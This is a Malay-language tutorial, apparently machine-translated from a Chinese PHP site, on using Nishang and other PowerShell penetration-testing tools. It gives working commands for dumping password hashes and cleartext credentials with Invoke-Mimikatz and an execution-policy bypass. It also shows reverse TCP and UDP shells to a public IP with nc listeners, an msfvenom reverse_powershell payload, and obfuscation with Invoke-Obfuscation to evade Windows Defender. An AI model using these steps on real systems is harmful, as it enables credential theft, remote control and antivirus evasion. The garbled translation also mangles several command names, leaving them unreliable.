PowerShell awal, mula-mula mari kita fahami konsep: PowerShell boleh dianggap sebagai versi cmd (bahasa skrip kelawar) yang dipertingkatkan, iaitu bahasa skrip pada platform Windows. Ia berorientasikan objek dan berkait rapat dengan .Net FrameWork. Ia juga boleh dianggap sebagai shell bash pada Windows. Windows PowerShell ialah shell baris perintah dan persekitaran skrip yang membolehkan pengguna baris arahan dan skrip untuk memanfaatkan kuasa Rangka Kerja .NET. Ia memperkenalkan banyak konsep baharu yang berguna yang mengembangkan lagi pengetahuan yang anda perolehi dan skrip yang anda cipta dalam persekitaran Windows Command Prompt dan Windows Host. Kod berjalan dalam memori tanpa menyentuh cakera Banyak produk keselamatan tidak dapat mengesan aktiviti PowerShell.exe biasanya disekat daripada berjalan, tetapi PowerShell tidak. Malah, kita perlu memintas beberapa perisian pelindung semasa proses ujian penembusan Selain memintas skrip atau alat lain, alat PoweShell juga merupakan pilihan yang baik. Sebagai contoh, kami menggunakan kata laluan untuk menangkap mimikatz ajaib pada hos sasaran Alat ajaib yang ditulis oleh pakar Perancis ini lebih biasa digunakan oleh semua orang Yang paling hebat ialah anda boleh mendapatkan kata laluan teks yang jelas bagi Windows yang aktif akaun daripada lsass.exe. Tetapi jika anda tidak melakukan kerja yang baik untuk mengelakkan pembunuhan, anda akan terus melalui baldi keluarga bebas pembunuhan tertentu. Menggunakan Powershell, penyerang boleh melaksanakan arahan tanpa menyentuh cakera. Berikut ialah beberapa alatan yang biasa digunakan:
Nishang ialah alat khas untuk ujian penembusan berdasarkan PowerShell Ia menyepadukan skrip dan pelbagai muatan, seperti mengambil kata laluan. Pengimbasan pelabuhan, peningkatan keistimewaan, dsb. Alat ini kerap digunakan oleh orang baru dalam ujian penembusan harian. Mula-mula kita perlu memuat turun alat ini. Alamat muat turun ialah: https://github.com/samratashok/nishang. >
Di bawah kami menggunakan persekitaran percubaan khusus untuk menunjukkan modul yang biasa digunakan dalam proses ujian penembusan Sebelum demonstrasi, kami perlu menerangkan beberapa perbandingan yang dihadapi semasa menjalankan alat Powershell ralat, seperti isu kebenaran untuk melaksanakan skrip, isu dengan mengimport modul, dsb.
Powershell tidak dibenarkan semasa mengimport modul buat kali pertama, kerana dasar lalai tidak dibenarkan Pada masa ini, kami perlu menukar dasar pelaksanaan untuk membenarkannya, yang dipanggil remotesigned.
Mari semak apakah dasar pelaksanaan semasa adalah dilarang untuk melaksanakan sebarang skrip, walaupun anda mempunyai hak pentadbir. Kami perlu mengubah suai kebenaran dan melaksanakan perintah:
Set-ExecutionPolicy ditandatangani jauh Apabila kami menanyakan semula dasar pelaksanaan semasa, ditandatangani jauh dibenarkan Mengimport skrip sekali lagi akan berjaya.
Laksanakan untuk melihat maklumat skrip dalam modul yang diimport: Get-Command -Module nishang
Senaraikan maklumat mesin ini: Dapatkan-Maklumat
Sekarang kami juga telah mengubah suai kebenaran pelaksanaan, mari mulakan perjalanan demonstrasi kami.
Gelombang tangkapan kata laluan
Apabila kita mendapat pelayan, kita perlu tahu sama ada hos sasaran ialah mesin fizikal atau mesin maya, laksanakan arahan: Semak -VMPertama sekali, nishang juga menyepadukan skrip untuk menangkap kata laluan Mula-mula tangkap nilai cincang:
#Get-PassHashes / /Simple. dan tangkapan terus dan paparan dalam antara muka dos;
#powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherGet-PassHashes.ps1';Get-PassHashes -PSObjectFormat | Out- File hash.txt }" //Dapatkan nilai cincang dan simpan dalam dokumen tersuai.Memandangkan kita boleh menangkap nilai cincang, kita juga boleh menangkap kata laluan teks biasa Mari kita lihat skrip untuk menangkap kata laluan Kita dapat melihat bahawa alat Mimikatz juga digunakan, tetapi ia hanya dimuatkan ke dalam skrip Powershell .
Kita boleh menggunakan arahan berikut untuk mendapatkan kata laluan teks yang jelas:
#powershell –exec pintasan –Arahan "& {Import-Module 'C:nishangGatherInvoke-Mimikatz.ps1';Invoke-Mimikatz}" cuba untuk terus merebut kata laluan teks jelas pengguna sistem semasa. (Arahan yang paling biasa digunakan)
Semasa ujian penembusan, semasa kami melakukan penghantaran port, kami menemui satu siri pembunuhan FamilyBuckets, ejen nclcxsockes, dsb., yang dibunuh dan dipintas dari semasa ke semasa. Kemudian pada masa ini kita boleh menggunakan skrip port forwarding dalam nishang. Selain memperkenalkan pemajuan port terbina dalam, di sini kami juga bereksperimen dengan pemajuan port dengan MSF, yang kedua-duanya memerlukan pelayan rangkaian awam.
1. Pemajuan port TCP (sambungan terbalik)
Laksanakan arahan mendengar pada pelayan rangkaian awam: nc -lvp 5555
Hos sasaran melaksanakan arahan pemajuan port: Invoke-PowerShellTcp -Reverse -IPAddress 106.xxx.xxx.115 -Port 5555
Dengan cara ini, selepas kami melaksanakan arahan masing-masing pada hos sasaran dan rangkaian awam, pelayan rangkaian awam akan melantun semula shell , supaya kita boleh melaksanakan arahan Pelayan intranet.
2. Pemajuan port UDP (sambungan terbalik)
Laksanakan arahan pemantauan pada pelayan rangkaian awam: nc -lup 6666
Hos sasaran melaksanakan arahan pemajuan port: Invoke-PowerShellUdp -Reverse -IPAddress 106.xxx.xxx.115 -Port 6666
Kecuali Sambungan terbalik juga mempunyai sambungan hadapan Saya sering menggunakan sambungan terbalik dalam ujian penembusan Jika orang besar berminat dengan sambungan hadapan, anda boleh mencubanya. Okay, sekarang kami menggunakan powershell dan MSF untuk penghantaran port Pertama, kami menggunakan arahan untuk menyemak sama ada terdapat modul powershell dalam MSF:
##msfvenom -l payloads |grep 'reverse_powershell //Soal lokasi. daripada modul powershell.
Kami menggunakan MSF untuk menjana arahan bagi port lantunan:
##msfvenom -p cmd/windows/reverse_powershell lhost=106. xxx .xxx.115 lport=9999 r //Jana muatan, jenisnya ialah Powershell, bahagian yang ditandakan dengan warna merah ialah arahan yang perlu dilaksanakan pada hos sasaran.
Langkah seterusnya, kami melaksanakan perintah powershell yang baru kami hasilkan pada hos sasaran dan mendengar port 9999 pada pelayan rangkaian awam. Dengan cara ini, kami berjaya melantunkan shell hos sasaran ke pelayan rangkaian awam.
Kami juga akan memikirkan bagaimana kami boleh menggunakan kebingungan pada hos sasaran untuk memintas Windows Defender, kerana muatan biasa yang kami hasilkan akan dikesan dan dibunuh oleh Windows Defender , jadi kita perlu memintas mekanisme semakan ini. Mari kita ambil muatan di atas sebagai contoh untuk mengelirukannya untuk memintas Windows Defender. Kadangkala kami menjalankan muatan biasa yang kami hasilkan terus pada hos sasaran, dan ia mungkin dipintas secara langsung oleh Windows Defender Alat untuk mengelirukan sudah pasti Invoke-Obfuscation disediakan oleh Daniel Bohannon. Halaman Github projek boleh didapati.
Mula-mula kita mulakan alat Invoke-Obfuscation:
Import-Module ./Invoke-Obfuscation.psd1 //Import Invoke-Obfuscation.psd1;
Invoke -Obfuscation //Mulakan alat Invoke-Obfuscation;
Sekarang kita akan mengelirukan muatan penghantaran port yang baru kita hasilkan Mari kita lihat pelbagai parameter kaedah pemprosesan :
Bahagian muatan mana yang perlu dikelirukan, kami mesti nyatakan terlebih dahulu, yang boleh dilakukan melalui arahan berikut:
Tetapkan 'muatan' blok skrip
Kami memilih untuk mengaburkan keseluruhan perintah sebagai rentetan (pilihan khusus adalah berdasarkan persekitaran ujian penembusan tertentu):
Pilih 1 untuk ASCII obfuscation, kami masukkan 1.ps1 untuk melihat output Arahan ini juga bersamaan dengan menyimpan fail yang dikaburkan dalam direktori semasa dan 1.ps1:
dalam sasaran Laksanakan skrip ini pada hos Pelayan rangkaian awam mendengar port 9999, dan juga boleh berjaya melantun semula shell hos intranet:
Cobalt Strike ialah alat ujian penembusan rangka kerja GUI berdasarkan Metasploit, yang menyepadukan penghantaran port, pengimbasan perkhidmatan, limpahan automatik dan berbilang pemantauan port mod exe, penjanaan Trojan powershell, dsb. Alat ini juga merupakan alat yang berkuasa untuk penembusan intranet.
Cobalt Strike masing-masing perlu dipasang pada klien dan pelayan, kemudian mulakan alat ini:
Mula-mula kita mendengar port, menulis alamat IP awam sebagai alamat hos, kemudian menjana arahan powershell, jalankan arahan ini pada hos sasaran, hos sasaran akan datang dalam talian, dan kemudian kita boleh menangkap kata laluan dari jauh dan meningkatkan keistimewaan , pemantauan dan operasi lain:
Sejujurnya, ini adalah kedua-duanya alat yang saya gunakan Percikan yang dicipta di sini hanyalah sedikit, dan terdapat banyak operasi lain yang berminat boleh mengkajinya.
Atas ialah kandungan terperinci Cara menggunakan Nishang, alat ujian penembusan PowerShell. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!